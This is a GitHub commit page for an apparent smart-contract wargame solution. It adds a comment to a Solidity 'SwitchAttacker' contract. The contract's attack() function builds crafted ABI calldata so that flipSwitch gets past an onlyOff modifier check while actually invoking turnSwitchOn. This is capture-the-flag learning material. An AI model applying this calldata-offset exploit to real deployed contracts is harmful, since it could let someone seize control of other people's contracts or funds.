Skip to content

Commit

Permalink
add notes in 29-Switch
Browse files Browse the repository at this point in the history
  • Loading branch information
tannerang committed Feb 1, 2024
1 parent f7ab5bd commit cf3b067
Showing 1 changed file with 1 addition and 0 deletions.
1 change: 1 addition & 0 deletions src/29-SwitchAttacker.sol
Original file line number Diff line number Diff line change
Expand Up @@ -9,6 +9,7 @@ contract SwitchAttacker {
}

function attack() external {
// Encode abi to pass the modifier onlyOff()
bytes memory data = abi.encodeWithSignature("flipSwitch(bytes)", bytes32(uint256(96)), bytes32(""), bytes4(keccak256("turnSwitchOff()")), bytes32(uint256(4)), bytes4(keccak256("turnSwitchOn()")));
challengeInstance.call(data);
}
Expand Down

0 comments on commit cf3b067

Please sign in to comment.